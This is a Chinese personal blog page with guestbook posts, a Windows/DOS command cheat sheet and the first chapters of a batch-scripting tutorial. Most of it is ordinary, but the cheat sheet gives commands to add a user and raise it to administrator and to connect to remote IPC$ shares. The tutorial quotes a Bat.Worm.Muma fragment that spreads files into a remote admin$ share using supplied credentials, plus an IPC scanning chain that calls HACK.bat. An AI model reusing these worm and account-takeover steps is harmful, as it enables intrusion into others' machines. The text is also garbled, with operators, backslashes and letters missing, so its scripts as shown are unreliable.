我安装的红警3怎么安装出现一个 plese install at least one …

我就是小雨 因为有共同的目标才能聚到一起……
( Thu, 13 Aug 2009 22:01:53 +0800 )
Description:
既然来了,咱就留个脚印~我不想看到无名英雄~有什么问题咱可以交流~本人不才,但有上进心,希望新老朋友都来这发表一下自己的意见建议~!谢谢
( Sun, 28 Jun 2009 09:41:28 +0800 )
Description: 好长时间都没有来我这里坐坐了,今天来了却发现还有好多朋友在支持我,非常激动!不管是你们在我这里留过言的或者是看过日志的我都有非常感谢你们,网络有多大?没有人能说清楚!既然我们能在网络上有缘认识,那就是我的朋友!在这里我需要解释一下我的身份……;现在还有好多人以为我是黑客,你们错了~我不是,我只是一个普通的网络爱好者。有些朋友以为我是黑客就疏远我……,呵呵,但是我还在感谢你,毕竟我们曾经认识过!如果你们需要什么帮助的话可以加我好友!
QQ:499735810
mail:killer_2008@sina.com
帮助只限于计算机(因为我只会计算机)
好了,今天就到这了
( Tue, 24 Mar 2009 21:21:00 +0800 )
Description:
DOS远程桌面连接命令 mstsc /v: 192.168.1.250 /co ole
cmd 运行 command
删除文件 rd 文件名/S
创建文件 MD 文件名
1. net user admin godmour /add 新建一个用户名为 admin 密码为 godmour 默认为user组成员
2. net user admin /del 将用户名为admin的用户删除
3. net user admin /active:no 将用户admin禁用
4. net user admin /active:yes 将用户admin激活
5. net user admin 查看拥护admin用户的情况
6. net localgroup administratros admin /add 提升用户权限
7. net view \\IP 查看远程主机共享资源
8. net use x:\\IP\sharename 远程影射本地盘符 Z (建立连接 net use \\IP\IPC$"pa word" /user:"name")
9. net user admin godmour 把admin的密码修改成 godmour
10. net start servername 启动 telnet 服务 net start servername 停止 telnet 服务
运行 输入cmd 回车在命令提示符下输入
for %1 in (%windir%\system32\*.dll) do regsvr32.exe /s %1
还原系统
tracert 61.144.56.101 查看路由是否正常工作
netstat命令
netstat [-r] [-s] [-n] [-a]。
当然,你也可以利用“netstat /?”命令来查看一下该命令的使用格式以及详细的参数说明
netstat参数含义如下
  -r 显示本机路由表的内容
  -s 显示每个协议的使用状态(包括TCP协议、UDP协议、IP协议)
  -n 以数字表格形式显示地址和端口
  -a 显示所有主机的端口号
运行Netstat -a命令将显示计算机上网时与外部之间的所有连接,计算机端口与外部的连接情况等;而Netstat
-s命令则显示电脑网络连接协议的统计信息。这样你就可以看到当前你的电脑上网络在进行哪些连接,数据包发
送和接收的详细情况等等
添加或删除程序 control a wiz.cpl
管理工具 control admintools
attrib  设置文件属性 ctty   改变控制设备 defrag 磁盘碎片整理 doskey 调用和建立DOS宏命令
debug   程序调试命令 emm386  扩展内存管理 fc    文件比较 fdisk  硬盘分区
lh/loadhigh  将程序装入高端内存 move 移动文件,改目录名 more   分屏显示
prompt    设置提示符 set  设置环境变量 smartdrv 设置磁盘加速器
setver      设置版本 su t 路径替换 vol    显示指定的磁盘卷标号
xcopy     拷贝目录和文件 mstsc XP自带远程 secpol.msc / 本地安全策略
services.msc / 服务 compmgmt.msc 计算机管理 jsjgl.msc
eventvwr.msc / 事件查看器 odbcad32.exe 数据源 (ODBC) perfmon.msc / 性能
comexp.msc 组件服务 control userpa words2 察看当前XP用户
gpedit.msc 组策略 regedit 注册表 dxdiag DirecTX 诊断工具
gpedit.msc-----组策略 winver---------检查Windows版本 wmimgmt.msc----打开windows管理体系结构(WMI)
wupdmgr--------windows更新程序 wscript--------windows脚本宿主设置 write----------写字板
winmsd---------系统信息 wiaacmgr-------扫描仪和照相机向导 winchat--------XP自带局域网聊天
mem.exe--------显示内存使用情况 Msconfig.exe---系统配置实用程序 mplayer2-------简易widnows media player
m aint--------画图板 mplayer2-------媒体播放机 magnify--------放大镜实用程序
mmc------------打开控制台 mo ync--------同步命令 drwt 32------ 系统医生
devmgmt.msc--- 设备管理器 dfrg.msc-------磁盘碎片整理程序 diskmgmt.msc---磁盘管理实用程序
dcomcnfg-------打开系统组件服务 ddeshare-------打开DDE共享设置 dvdplay--------DVD播放器
net stop me enger---停止信使服务 net start me enger--开始信使服务 notepad--------打开记事本 lookup-------网络管理的工具向导 ntbackup-------系统备份和还原 narrator-------屏幕“讲述人”
ntmsmgr.msc----移动存储管理器 ntmsoprq.msc-移动存储管理员操作请求 netstat -an----(TC)命令检查接口
synca --------创建一个公文包 sysedit--------系统配置编辑器 sigverif-------文件签名验证程序 drec32-------录音机 shrpubw--------创建共享文件夹 secpol.msc-----本地安全策略
syskey---------系统加密,一旦加密就不能解开,保护windows xp系统的双重密码
services.msc---本地服务设置 Sndvol32-------音量控制程序 sfc.exe--------系统文件检查器
sfc /sca ow---windows文件保护 t hutdn-------60秒倒计时关机命令 tourstart------xp简介(***完成后出现的漫游xp程序)
taskmgr--------任务管理器 eventvwr-------事件查看器 eudcedit-------造字程序
explorer-------打开资源管理器 packager-------对象包装程序 perfmon.msc----计算机性能监测程序
progman--------程序管理器 regedit.exe----注册表 rsop.msc-------组策略结果集
regedt32-------注册表编辑器 rononce -p ----15秒关机 regsvr32 /u *.dll----停止dll文件运行
regsvr32 /u zipfldr.dll------取消ZIP支持 cmd.exe--------CMD命令提示符
chkdsk.exe-----Chkdsk磁盘检查 certmgr.msc----***管理实用程序 calc-----------启动计算器
charmap--------启动字符映射表 cliconfg-------SQL SERVER 客户端网络实用程序 Cli rd--------剪贴板查看器
conf-----------启动netmeeting compmgmt.msc---计算机管理 cleanmgr-------垃圾整理
ciadv.msc------索引服务程序 osk------------打开屏幕键盘 odbcad32-------ODBC数据源管理器
oobe/msoobe /a----检查XP是否激活 lusrmgr.msc----本机用户和组 logoff---------注销命令
iexpre -------木马捆绑工具,系统自带 Nslookup-------IP地址侦测器 fsmgmt.msc-----共享文件夹管理器
utilman--------辅助工具管理器 gpedit.msc-----组策略 cleanmgr-------垃圾整理
ciadv.msc------索引服务程序 odbcad32-------ODBC数据源管理器 oobe/msoobe /a----检查XP是否激活
lusrmgr.msc----本机用户和组 logoff---------注销命令 iexpre -------木马捆绑工具,系统自带
Nslookup-------IP地址侦测器 fsmgmt.msc-----共享文件夹管理器 utilman--------辅助工具管理器
DOS——Disk Operation System 磁盘操作系
C: 盘符 Path 路径 Filename 文件名 .ext 扩展名 File ec 文件标识符
[ ] 方括号中的项目是可选项,用户可以根根据需要不输入这些内容
{ } 大括号表示其中的项目必选一项
| 竖线表示两侧的内容可取其一
… 表示可重复项
* 表示一个字符串
? 只代表一个字符
查找以字母y开头的所有文件,可以输入以下命令:dir y*.*;如果要查找所有扩展名为exe的文件,可以用dir .exe。?只
代表一个字符,例如我要查找第二个字母为s的所有文件,可以输入:DIR ?s*.*。
[格式] dir [C:][path][filename][.ext][/o][/s][/p][/w][/a]
dir是DOS命令中最常用的一个
/p 显示信息满一屏时,暂停显示,按任意键后显示下一屏
/o 排序显示。o后面可以接不同意义的字母
/w 只显示文件名目录名,每行五个文件名。即宽行显示
/s 将目录及子目录的全部目录文件都显示
cd是英文change directory(改变目录)的缩写
[格式] cd [C:][path] 逐层退出(cd..)
copy在英文中是复制的意思
复制一个或一组文件到指定的磁盘或目录中 copy [C:][path][filename.ext] [C:][path]filename.ext
C:\purple目录的所有文件复制到软盘
C:\copy purple A:\
ren是英文rename(重新命名)的简写,对指定磁盘、目录中的一个文件或一组文件更改名称
[格式] ren [C:][path]filename1[.ext] filename2[.ext]
[说明] 改名操作只限于某个文件某组文件的名称,它不会更改文件所在的目录。如果使用了通配符,则对一批文件进行更名。
type [功能] 在屏幕上显示文本文件内容命令 [格式] type [C:][path]filename.ext
type命令用来在屏幕上快速、简便地显示文本文件的内容,扩展名为TXT的文件是文本文件。如果用这个命令显示扩展名为EXE或COM等其它文件
,输出的结果往往是一些乱七八糟的符号并伴有无规则的响铃声,有时甚至会出现死机现象。
format 磁盘格式化 [C:][path]format drive:[/S]
diskcopy,翻译成中文就是磁盘复制 复制出一个和原来磁盘内容一模一样的磁盘
[格式] diskcopy 源驱动器名 目的驱动器名
[说明] 它的主要用途就是用来备份。比如我们的电脑在刚买来时,会随机附带一些设备驱动程序磁盘,这些驱动程序在以后都有可能用到,为
防止这些磁盘的损坏,一定要将它们都备份一套,这时,使用diskcopy命令是比较快捷和方便的
deltree 删除目录树 [格式] [C:][path]DELTREE [C1:][path1] [[C2:][path2] […]]
[说明] 这个命令将整个指定目录树全部消灭,而不管它是否是只读、隐藏与否。使用应特别小心。它是一个危险命令。
mem是memory的缩写[功能] 该命令用来查看你的计算机内存有多少,以及内存的使用情况 [格式] 直接键入mem命令
chkdsk是check disk的缩写。[功能] 用来检查你的磁盘的使用情况。[格式] chkdsk 磁盘名
[说明] 例如要检查A盘使用情况,就输入chkdsk A: ,检查c盘使用情况,就输入chkdsk C: ,如果直接输入chkdsk,就检
查当前磁盘的使用情况。
sys 传递系统文件命令。将DOS的两个隐含的系统IO.SYS和MSDOS.SYS传送到目标磁盘的特定位置上,并将COMMAND.COM文件复制过去。完成后,
目标盘成为DOS的启动盘[格式] [C:][path]SYS [C1:][path] d2:
[说明] 由于这几个文件需要复制到特定位置上,所以用COPY命令完成的复制未必能够启动机器。能过SYS命令,DOS可以将目标盘已占据特定位
置的文件移动,并将系统文件复制到相应位置上。参数C1:path用来指明系统文件所在目录。如不指明,则缺省为当前盘的当前目录。所以这个
命令一般要在源盘的根目录进行
pa [功能] 设定DOS寻找.COM、.EXE、.BAT文件的所在目录 [格式] path=[[drive:]path[;…]]或path
[说明] 只打path没有参数时,只显示环境变量内容。有参数时,重新设置path变量。在没有指定path环境变量时,用户发出的命令,DOS首先
判断其是否为内部命令,再查找当前目录中是否有主文件名是该命令的可执行文件,如果均不是,则显示信息“Bad command or filename”。
如果发出了指定路径的命令,则在指定径中依次查找,仍找不到则出现上述提示。
cl 清除显示器屏幕上的内容,使DOS提示符到屏幕左上角
( Mon, 29 Sep 2008 22:31:24 +0800 )
Description: 好久没有更新空间了,,,来访我的网友也变的少了……
加快速度,更新空间,希望更多的网友支持!
( Fri, 22 Aug 2008 09:21:04 +0800 )
Description:
这是一篇技术教程,我会用很简单的文字表达清楚自己的意思,你要你识字就能看懂,就能学到知识。写这篇教程的目的,是让每一个看过这些文字的朋友记住一句话:如果爱可以让事情变的更简单,那么就让它简单吧!看这篇教程的方法,就是慢!慢慢的,如同品一个女人、一杯茗茶,你会发现很多以前就在眼前的东西突然变的很遥远,而有些很遥远的东西却又突然回到了眼前。
先概述一下批处理是个什么东东。批处理的定义,至今我也没能给出一个合适的----众多高手们也都没给出----反正我不知道----看了我也不一定信服----我是个菜鸟,当然就更不用说了;但我想总结出一个“比较合适的”,而且我也相信自己可以把它解释的很清楚,让更多的菜鸟都知道这是个什么东东,你用这个东东可以干什么事情。或许你会因为这篇文章而“无条件爱上批处理”,那么我的目的就达到了----我就是要让你爱上它,我就这么拽,你能怎么着??真的,爱有时候就这么拽,就是这么没理由,就是这么不要脸!真的!
按照我的理解,批处理的本质,是一堆DOS命令按一定顺序排列而形成的集合。
OK,never claver and get to busine (闲话少说言归正传)。批处理,也称为批处理脚本,英文译为BATCH,批处理文件后缀BAT就取的前三个字母。它的构成没有固定格式,只要遵守以下这条就ok了:每一行可视为一个命令,每个命令里可以含多条子命令,从第一行开始执行,直到最后一行结束,它运行的平台是DOS。批处理有一个很鲜明的特点:使用方便、灵活,功能强大,自动化程度高。我不想让自己写的教程枯燥无味,因为牵缠到代码(批处理的内容算是代码吧?)的问题本来就是枯燥的,很少有人能面对满屏幕的代码而静下心来。所以我会用很多简单实用的例子让读这篇教程的朋友去体会批处理的那四射的魅力,感受它那古灵精怪的性格,不知不觉中爱上批处理(晕,怎么又是爱?到底批处理和爱有什么关系?***:没有!)。再说句“闲话”:要学好批处理,DOS基础一定要牢!当然脑子灵活也是很重要的一方面。
例一、先给出一个最easy的批处理脚本让大家和它混个脸熟,将下面的几行命令保存为name.bat然后执行(以后文中只给出代码,保存和执行方式类似):
ping sz.tencent.com a.txt
ping sz1.tencent.com a.txt
ping sz2.tencent.com a.txt
ping sz3.tencent.com a.txt
ping sz4.tencent.com a.txt
ping sz5.tencent.com a.txt
ping sz6.tencent.com a.txt
ping sz7.tencent.com a.txt
是不是都能看的懂?是不是很easy?但它的作用却是很实用的,执行这个批处理后,可以在你的当前盘建立一个名为a.txt的文件,它里面记录的信息可以帮助你迅速找到速度最快的QQ服务器,从而远离“从服务器中转”那一痛苦的过程。这里的意思,是把前面命令得到的东西放到后面所给的地方,的作用,和的相同,区别是把结果追加到前一行得出的结果的后面,具体的说是下一行,而前面一行命令得出的结果将保留,这样可以使这个a.txt文件越来越大(想到如何搞破坏了??)。By the way,这个批处理还可以和其他命令结合,搞成完全自动化判断服务器速度的东东,执行后直接显示速度最快的服务器IP,是不是很爽?后面还将详细介绍。
例二、再给出一个已经过时的例子(a.bat):
@echo off
if exist C:Progra~1TencentAD*.gif del C:Progra~1TencentAD*.gif
为什么说这是个过时的例子呢?很简单,因为现在已经几乎没有人用带广告的QQ了(KAO,我的QQ还显示好友三围呢!!),所以它几乎用不上了。但曾经它的作用是不可小窥的:删除QQ的广告,让对话框干干净净。这里用的地址是QQ的默认***地址,默认批处理文件名为a.bat,你当然可以根据情况自行修改。在这个脚本中使用了if命令,使得它可以达到适时判断和删除广告图片的效果,你只需要不关闭命令执行后的DOS窗口,不按CTRL+C强行终止命令,它就一直监视是否有广告图片(QQ也再不断查看自己的广告是否被删除)。当然这个脚本占用你一点点内存,呵呵。
例三,使用批处理脚本查是否中冰河。脚本内容如下:
@echo off
netstat -a -n a.txt
type a.txt | find "7626" &am am echo "Congratulatio ! You have infected GLACIER!"
del a.txt
pause &am exit
这里利用了netstat命令,检查所有的网络端口状态,只需要你清楚常见木马所使用的端口,就能很easy的判断出来是否被人种了冰河。然这不是确定的,因为冰河默认的端口7626,完全可以被人修改。这里介绍的只是方法和思路。这里介绍的是方法和思路稍做改动,就变成可以检查其他木马的脚本了,再改动一下,加进去参数和端口及信息列表文件后,就变成自动检测所有木马的脚本了。呵呵,是不是很过瘾?脚本中还利用了组合命令&am am 和管道命令|,后面将详细介绍。
例四,借批处理自动清除系统垃圾,脚本如下:
@echo off
if exist c:windows emp*.* del c:windows emp*.*
if exist c:windowsTempor~1*.* del c:windowsTempor~1*.*
if exist c:windowsHistory*.* del c:windowsHistory*.*
if exist c:windows ecent*.* del c:windows ecent*.*
将以上脚本内容保存到autoexec.bat里,每次开机时就把系统垃圾给自动删除了。这里需要注意两点:一、DOS不支持长文件名,所以就出现了Tempor~1这个东东;二、可根据自己的实际情况进行改动,使其符合自己的要求。
怎么样,看到这里,你对批处理脚本是不是已经有点兴趣了?是不是发现自己已经慢慢爱上了这个东东?别高兴的太早,爱不是一件简单的事,它也许能带给你快乐和幸福,当然也能让你痛苦的想去跳楼。如果你知道很难还敢继续的话,I 服了 YOU!继续努力吧,也许到最后你不一定得到真爱(真的有这可能,爱过的人都知道),但你可以体会到整个爱的过程,就是如此。 酸、苦和辣,有没有甜天知道。
为什么会把批处理和爱情扯上关系?不是我无聊,也不是因为这样写有趣多少,原因有二:其一,批处理和爱情有很多相同的地方,有些地方我用“专业”的行话解释不清(我不怀疑自己的表达能力,而是事情本身就不好说清楚),说了=没说,但用地球人都知道的爱情一比喻(爱情是什么?我**怎么知道!!),没准你心里一下就亮堂了,事半功倍,何乐而不为?其二,我这段时间状态不是很好,感冒发烧头疼鼻塞,但主要还是感情上精神摧残,搞的人烦透了,借写教程之际感慨几句,大家就全当买狗皮膏药了,完全可以省略不看(也许还真有点效果----不至于让你看着看着就睡着了,把头磕了来找我报销医药费)。说不定下次的教程中大家还会看到杨过、张无忌等金老前辈笔下的英雄们。
看过第一章的朋友,一定对批处理有了初步的印象,知道它到底是用来干什么的了。但你知道运用批处理的精髓在哪里吗?其实很简单:思路要灵活!没有做不到的,只有想不到的。这和爱情就有点不同了,因为爱情的世界是两个人的世界,一厢情愿不叫爱情(补充:那叫单恋。废话!)而批处理却是一个人的天堂,你可以为所欲为,没有达不到的境界!
批处理看起来杂乱无章,但它的逻辑性之强,绝对不比其他程序语言(如汇编)低,如果你写的脚本是一堆乱麻,虽然每一行命令都正确,但从头执行到尾后,不一定得到你想要的结果,也许是一屏幕的Bad command or fail name。这又和爱情有了共同点:按步骤来经营,缺少或增多的步骤都可能导致不想看见的结果。陷入爱河的朋友,相信没有不肯定这句话的。我的爱情批处理,输出的结果不是Bad command or fail name,屏幕是这么显示的:‘你的爱情’不是内部或外部命令,也不是可运行的程序或批处理文件。然后就是光标不停闪动,等待这下一次错误的输入。
从这一章开始,将由浅入深的介绍批处理中常用的命令,很多常见DOS命令在批处理脚本中有这广泛的应用,它们是批处理脚本的BODY部分,但批处理比DOS更灵活多样,更具备自动化。要学好批处理,DOS一定要有比较扎实的基础。这里只讲述一些比较少用(相对来说)的DOS命令,常用命令如COPY、DIR等就不做介绍了(这些看似简单的命令实际复杂的很,我怕自己都说不清楚!)。
例五,先看一个实例。这是一个很有意思的脚本,一个小巧实用的好东东,把批处理“自动化”的特点体现的淋漓尽致。先介绍一下这个脚本的来历:大家都知道汇编程序(MASM)的上机过程,先要对源代码进行汇编、连接,然后再执行,而这中间有很多环节需要输入很多东西,麻烦的很(只有经历过的朋友才懂得)。如何使这个过程变的简单呢?在我们搞汇编课程设计时,我“被逼”写了这个脚本,用起来很爽,呵呵。看看脚本内容:
@echo off
::close echo
::clean screen
echo This programme is to make the MASM programme automate
::di lay info
echo Edit by CODERED
::di lay info
echo Mailto me : qqkiller***@sina.com
::di lay info
if "%1"=="" goto usage
::if i ut without paramater goto usage
if "%1"=="/?" goto usage
::if paramater is "/?" goto usage
if "%1"=="help" goto usage
::if paramater is "help" goto usage
::pause to see usage
masm %1.asm
::a emble the .asm code
if errorlevel 1 pause &am edit %1.asm
::if error pause to see error msg and edit the code
link %1.obj &am %1
::else link the .obj file and execute the .exe file
::set usage
echo Usage: This BAT file name [asm file name]
echo Default BAT file name is START.BAT
::di lay usage
先不要被这一堆的东西给吓怕了,静下心来仔细的看(回想一下第一章中第一段是怎么写的!!)。已经给出了每一行命令的解释,两个冒号后面的内容为前一行内容解释的E文(害怕E文的朋友也不用担心,都很easy,一看就懂了,实在不懂了不会查词典啊,这么懒?),在脚本执行时不显示,也不起任何作用。倒数第5行行首有一个冒号,可不是笔误哦!具体作用后面会详细讲到。此脚本中masm和link是汇编程序和连接程序,必须和edit程序以及你要编辑的源代码(当然还有这个脚本,废话!)一起在当前目录中。使用这个批处理脚本,可以最大可能的减少手工输入,整个过程中只需要按几下回车键,即可实现从汇编源代码到可执行exe文件的自动化转换,并具备智能判断功能:如果汇编时源代码出现错误(汇编不成功),则自动暂停显示错误信息,并在按任意键后自动进入编辑源代码界面;如果源代码汇编成功,则进行连接,并在连接后自动执行生成的exe文件。另外,由于批处理命令的简单性和灵活性,这个脚本还具备良好的可改进性,简单进行修改就可以符合不同朋友的上机习惯。正在学汇编的朋友,一定别忘了实习一下!
在这个脚本中出现了如下几个命令:@、echo、::、pause、:和goto、%以及if。而这一章就将讲述这几个命令。
这个符号大家都不陌生,email的必备符号,它怎么会跑到批处理中呢?呵呵,不是它的错,批处理本来就离不开它,要不就不完美了。它的作用是让执行窗口中不显示它后面这一行的命令本身(多么绕口的一句话!)。呵呵,通俗一点说,行首有了它的话,这一行的命令就不显示了。在例五中,首行的@echo off中,@的作用就是让脚本在执行时不显示后面的echo off部分。这下懂了吧?还是不太懂?没关系,看完echo命令简介,自然就懂了。
2、echo
中文为“反馈”、“回显”的意思。它其实是一个开关命令,就是说它只有两种状态:打开和关闭。于是就有了echo on和echo off两个命令了。直接执行echo命令将显示当前echo命令状态(off或on)执行echo off将关闭回显,它后面的所有命令都不显示命令本身,只显示执行后的结果,除非执行echo on命令。在例五中,首行的@命令和echo off命令联合起来,达到了两个目的:不显示echo off命令本身,不显示以后各行中的命令本身。的确是有点乱,但你要是练习一下的话,3分钟包会,不会的退钱!
echo命令的另一种用法一:可以用它来显示信息!如例五中倒数第二行,Default BAT file name is START.BAT将在脚本执行后的窗口中显示,而echo命令本身不显示(为什么??)。
echo命令的另一种用法二:可以直接编辑文本文件。例六:
echo tstat -A 192.168.0.1 a.bat
echo tstat -A 192.168.0.2 a.bat
echo tstat -A 192.168.0.3 a.bat
以上脚本内容的编辑方法是,直接是命令行输入,每行一回车。最后就会在当前目录下生成一个a.bat的文件,直接执行就会得到结果。
这个命令的作用很简单,它是注释命令,在批处理脚本中和rem命令等效。它后面的内容在执行时不显示,也不起任何作用,因为它只是注释,只是增加了脚本的可读性,和C语言中的/*…………*/类似。地球人都能看懂,就不多说了。
4、pause
中文为“暂停”的意思(看看你的workman上),我一直认为它是批处理中最简单的一个命令,单纯、实用。它的作用,是让当前程序进程暂停一下,并显示一行信息:请按任意键继续. . .。在例五中这个命令运用了两次,第一次的作用是让使用者看清楚程序信息,第二个是显示错误的汇编代码信息(其实不是它想显示,而是masm程序在显示错误信息时被暂它停了,以便让你看清楚你的源代码错在哪里)。
5、:和goto
为什么要把这两个命令联合起来介绍?因为它们是分不开的,无论少了哪个或多了哪个都会出错。goto是个跳转命令,:是一个标签。当程序运行到goto时,将自动跳转到:定义的部分去执行了(是不是分不开?)。例五中倒数第5行行首出现一个:,则程序在运行到goto时就自动跳转到:标签定义的部分执行,结果是显示脚本usage(usage就是标签名称)。不难看出,goto命令就是根据这个冒号和标签名称来寻找它该跳转的地方,它们是一一对应的关系。goto命令也经常和if命令结合使用。至于这两个命令具体用法,参照例五。
goto命令的另一种用法一:提前结束程序。在程序中间使用goto命令跳转到某一标签,而这一标签的内容却定义为退出。如:
goto end
这里:end在脚本最后一行!其实这个例子很弱智,后面讲了if命令和组合命令你就知道了。
这个百分号严格来说是算不上命令的,它只是批处理中的参数而已(多个%一起使用的情况除外,以后还将详细介绍),但千万别以为它只是参数就小看了它(看看例五中有多少地方用到它?),少了它批处理的功能就减少了51%了。看看例七:
net use \%1ipc$ %3 /u:"%2"
copy 11.BAT \%1admin$system32 /y
copy 13.BAT \%1admin$system32 /y
copy ipc2.BAT \%1admin$system32 /y
copy NWZI.EXE \%1admin$system32 /y
attrib \%1admin$system3210.bat -r -h -s
以上代码是Bat.Worm.Muma病毒中的一部分,%1代表的IP,2%代表的username,3%代表pa word。执行形式为:脚本文件名 参数一 参数二 ……。假设这个脚本被保存为a.bat,则执行形式如下:a IP username pa word。这里IP、username、pa word是三个参数,缺一不可(因为程序不能正确运行,并不是因为少了参数语法就不对)这样在脚本执行过程中,脚本就自动用用你的三个参数依次(记住,是依次!也是一一对应的关系。)代换1%、2%和3%,这样就达到了灵活运用的目的(试想,如果在脚本中直接把IP、username和pa word都定义死,那么脚本的作用也就被固定了,但如果使用%的话,不同的参数可以达到不同的目的,是不是更灵活?)。
关于这个参数的使用,在后续章节中还将介绍。一定要非常熟练才行,这需要很多练习过程,需要下点狠工夫!
这一章就写到这里了。可能有朋友问了:怎么没介绍if命令?呵呵,不是我忘了,而是它不容易说清楚,下一章再讲了!这一章讲的这点东西,如果你是初学者,恐怕也够消化的了。记住一句话:DOS是批处理的BODY,任何一个DOS命令都可以被用在批处理脚本中去完成特定的功能。到这里,你是否已经想到了用自己肚子里的东西去写点带有自动化色彩的东东呢?很简单,就是一个DOS命令的集合而已,相信自称为天才的你已经会把计算机等级考试上机试题中的DOS部分用批处理来自动化完成了。
烦!就好象一个半老女人到了更年期,什么事都想唠叨几句,什么事都感到不舒服,看谁谁不爽。明知山有虎,偏向虎山行,最后留下一身伤痕无功而返时,才发现自己竟然如此脆弱,如此渺小,如此不堪一击。徘徊在崩溃的边缘,突然回想起了自己最后一次扁人的那一刻,还真有点怀念(其实我很不喜欢扁人,更不喜欢被人扁)。我需要发泄,我用手指拼命的敲打着键盘,在一阵接一阵有节奏的声音中,屏幕上出现了上面的这些文字。可难道这就是发泄的另一种方式吗?中国人还是厉害,早在几千年前孔老夫子就说过“唯女子与小人,难养也”,真**有先见之明,佩服!虽然是在发泄,不过大家请放心,以我的脾气,既然决定写这篇教程,就一定会尽力去写好,写完美,绝对不给自己留下遗憾,要不这教程就不是我写的!
曾经有一篇经典的批处理教程出现在你的屏幕上,你没有保存,直到找不到它的链接你才后悔莫及,人世间最大的痛苦莫过于此。如果上天能给你一个再看一次的机会,你会对那篇教程说三个字:我爱你!如果非要给这份爱加上一个期限,你希望是100年。因为100年后,你恐怕早已经挂了!而现在,你的屏幕上出现了这篇你正在看的批处理教程,虽然不如你曾经看的那篇经典,但如果勉强还过的去。你会爱它吗?时间会有50年那么长吗?***是:试试看吧。
批处理脚本中最重要的几个命令,将在这一章详细介绍,但是很遗憾,有些细节到现在我都没掌握的很好,甚至还有些生分。如同还不太懂得爱一样。但我一直都在努力,即使一直都没有收获。所以可能讲的会比较笼统,但我会告诉你方法,剩下的就是时间问题了,需要自己去磨练。让我们共同努力吧。冰冻三尺非一日之寒,滴水穿石非一日之功。有些事情,比如学批处理,比如爱一个人,都是不能速成的,甚至还会有付出艰辛而收获为甚微的情况。再次重申,看这篇教程的时候,一定要静下心来,除非你已经掌握了这篇教程的所有东西----但那也就不必看了,浪费时间!
接上一章,接着讲if命令。总的来说,if命令是一个表示判断的命令,根据得出的每一个结果,它都可以对应一个相应的操作。关于它的三种用法,在这里分开讲。
(1)、输入判断。还是用例五里面的那几句吧:
if "%1"=="" goto usage
if "%1"=="/?" goto usage
if "%1"=="help" goto usage
这里判断输入的参数情况,如果参数为空(无参数),则跳转到usage;如果参数为/?或help时(大家一般看一个命令的帮助,是不是输入的/?或help呢,这里这么做只是为了让这个脚本看起来更像一个真正的程序),也跳转到usage。这里还可以用否定形式来表示“不等于”,例如:if not "%1"=="" goto usage,则表示如果输入参数不为空就跳转到usage(实际中这样做就没意义了,这里介绍用法,管不了那么多了,呵呵。)是不是很简单?其实翻译成中文体会一下就understand了。
(2)、存在判断。再看例二里这句:
if exist C:Progra~1TencentAD*.gif del C:Progra~1TencentAD*.gif
如果存在那些gif文件,就删除这些文件。当然还有例四,都是一样的道理。注意,这里的条件判断是判断存在的,当然也可以判断不存在的,例如下面这句“如果不存在那些gif文件则退出脚本”:if not exist C:Progra~1TencentAD*.gif exit。只是多一个not来表示否定而已。
(3)、结果判断。还是拿例五开刀(没想到自己写的脚本,竟然用处这么大,呵呵):
masm %1.asm
if errorlevel 1 pause &am edit %1.asm
link %1.obj
先对源代码进行汇编,如果失败则暂停显示错误信息,并在按任意键后自动进入编辑界面;否则用link程序连接生成的obj文件。这里只介绍一下和if命令有关的地方,&am 命令后面会讲到。这种用法是先判断前一个命令执行后的返回码(也叫错误码,DOS程序在运行完后都有返回码),如果和定义的错误码符合(这里定义的错误码为1),则执行相应的操作(这里相应的操作为pause &am edit %1.asm部分)。
另外,和其他两种用法一样,这种用法也可以表示否定。用否定的形式仍表达上面三句的意思,代码变为:
masm %1.asm
if not errorlevel 1 link %1.obj
pause &am edit %1.asm
看到本质了吧?其实只是把结果判断后所执行的命令互换了一下,“if not errorlevel 1”和“if errorlevel 0”的效果是等效的,都表示上一句masm命令执行成功(因为它是错误判断,而且返回码为0,0就表示否定,就是说这个错误不存在,就是说masm执行成功)。这里是否加not,错误码到底用0还是1,是值得考虑的两个问题,一旦搭配不成功脚本就肯定出错,所以一定要体会的很深刻才行。如何体会的深刻?练习!自己写一个脚本,然后把有not和没有not的情况,返回码为0或1的情况分别写进去执行(怎么,嫌麻烦啊?排列组合算一下才四中情况你就嫌麻烦了?后面介绍管道命令和组合命令时还有更麻烦的呢!怕了?呵呵。),这样从执行的结果中就能很清楚的看出这两种情况的区别。
这种用errorlevel结果判断的用法是if命令最难的用法,但也恰恰是最有用的用法,如果你不会用errorlevel来判断返回码,则要达到相同的效果,必须用else来表示“否则”的操作,是比较麻烦的。以上代码必须变成:
masm %1.asm
if exist %1.obj link %1.obj
else pause &am edit %1.asm
关于if命令的这三种用法就say到这里,理解很简单,但应用时就不一定用的那么得心应手,主要是熟练程度的问题。可能有的朋友有点惊讶,我怎么没给出类似下面三行的用法介绍,是因为下面三行是if命令帮助里对它自身用法的解释,任何人只要一个“if /?”就能看到,我没有必要在这里多费口舌;更重要的原因,是我觉得这样介绍的不清楚,看的人不一定看的懂,所以我采用上面自己对if命令的理解来介绍。一定要注意的是,这三种用法的格式各不相同,而且也是不能改变的,但实际上可以互换(以为从本质上讲,这三种用法都是建立在判断的基础上的,哲学教我们学会透过现象看事物本质!)。有兴趣的朋友可以自己研究一下。
IF [NOT] ERRORLEVEL number do command
IF [NOT] string1==string2 do command
IF [NOT] EXIST filename do command
8、call
学过汇编或C的朋友,肯定都知道call指令表示什么意思了,在这里它的意思其实也是一样的。在批处理脚本中,call命令用来从一个批处理脚本中调用另一个批处理脚本。看例八(默认的三个脚本文件名分别为start.bat、10.bat和ipc.bat):
start.bat:
CALL 10.BAT 0
10.bat:
ECHO %IPA%.%1 HFIND.TMP
CALL ipc.bat IPCFind.txt
ipc.bat:
for /f "toke =1,2,3 delims= " %%i in (%1) do call HACK.bat %%i %%j %%k
有没有看出什么不对的地方?没看出来啊?没看出来就对了,其实就没有不对的地方嘛,你怎么看的出来!从上面两个脚本,你可以得到如下信息:1、脚本调用可以灵活运用,循环运用、重复运用。2、脚本调用可以使用参数!关于第一点就不多说了,聪明的你一看就应该会,这里说一下第二点。
